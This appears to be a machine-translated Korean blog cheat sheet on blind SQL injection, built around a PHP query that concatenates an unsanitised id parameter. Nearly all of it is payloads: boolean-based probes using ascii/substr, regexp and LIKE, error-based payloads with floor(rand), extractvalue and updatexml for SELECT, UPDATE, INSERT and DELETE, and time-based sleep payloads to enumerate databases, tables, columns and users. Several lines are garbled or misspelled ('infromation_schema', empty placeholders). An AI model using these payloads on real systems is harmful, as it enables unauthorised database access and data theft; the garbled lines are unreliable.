SQL 주입 - 블라인드 주입
10919 단어 SQL 주입
$id=$_GET['id'];
SELECT * FROM test WHERE id='$id' LIMIT 0,1;
1. 볼에 근거한 맹주
페이지의 이상 여부를 통해 판단하다
1.1 ascii() 주입
?id=1' AND left(version(),1)=5--+
//판단은 5.x 버전 또는 4.x판은 본래 정보 유무를 판단한다schema 데이터베이스?id=1' AND substr(version(),1,1)=5--+
//어느 버전인지 구체적으로 판단?id=1' AND 1=(SELECT 1 FROM information_schema.schemata LIMIT 9,1)--+
//LIMIT를 통해 몇 번째 기록의 귀환을 제한하고, 이 기록이 없으면 귀환이 없음?id=1' AND length(SELECT schema_name FROM infromation_schema.schemata LIMIT 0,1)>5--+ //
?id=1' AND ascii(substr((SELECT schema_name FROM infromation_schema.schemata LIMIT 0,1),1,1))>100--+ // substr() ,
?id=1' AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))>100--+
?id=1' AND ascii(substr((SELECT column_name FROM information_achema.columns WHERE table_achema='security' AND table_name='users' LIMIT 0,1),1,1))>100--+
?id=1' AND ascii(substr((SELECT user FROM security.users LIMIT 0,1),1,1))>100--+
1.2 정규 주입
SELECT user() regexp '^[a-z]'; // a-z, , 1, 0
SELECT * FROM users WHERE id=1 AND 1=(user() regexp '^[a-z]'); // ,
SELECT * FROM users WHERE id=1 AND 1=(if((user() regexp '^[a-z]'),1,0)); // if()
?id=1' AND 1=( )--+
?id=1' AND 1=(SELECT ( ) regexp '')--+ //SELECT
ascii()
1.3 LIKE 주입
SELECT * FROM user WHERE id=1 AND 1=(user() LIKE ''); //
2. 오보에 근거한 맹주
SELECT count(*) FROM information_schema.columns group by (concat(0x7e,( ),0x7e,floor(rand(0)*2)))--+
SELECT count(1) FROM information_schema.columns group by (concat(0x7e,( ),0x7e,round(rand(0))))--+
extractvalue(1,concat(0x7e,( ),0x7e))
updatexml(1,concat(0x7e,( ),0x7e),1)
사용 방법
select
SELECT * FROM users WHERE id='' AND ( ) LIMIT 0,1;
SELECT * FROM users WHERE id='' OR ( ) LIMIT 0,1;
update
UPDATE users SET name='slip' AND ( ) where id=1;
UPDATE users SET name='slip' OR ( ) where id=1;
insert
INSERT INTO users(id,name) VALUES(1,( ));
INSERT INTO users(id,name) VALUES(1 AND ( ));
delete
DELETE FROM users WHERE id=1 AND ( );
DELETE FROM users WHERE id=1 OR ( );
3. 시간에 기초한 맹주
SELECT sleep(5); // 5
if(ascii(a)>90,1,sleep(5)) // if
case when then else end //if...else ,
?id=1' AND if(ascii(substr( ),1,1)>100,1,sleep(5))--+
?id=1' AND case when (ascii(substr( ) from 1 for 1)>100) then 1 else sleep(5) end--+
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
Node-RED의 SQL 주입 방지Node-RED를 간단한 REST API 서버로 사용하는 문제가 있으며, DB 서버 (MySQL)에 로그를 저장하는 장치가되어 있지만, SQL 인젝션 대책은 어떻게 할까라고 생각해, 조사해 본 이야기. node-re...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.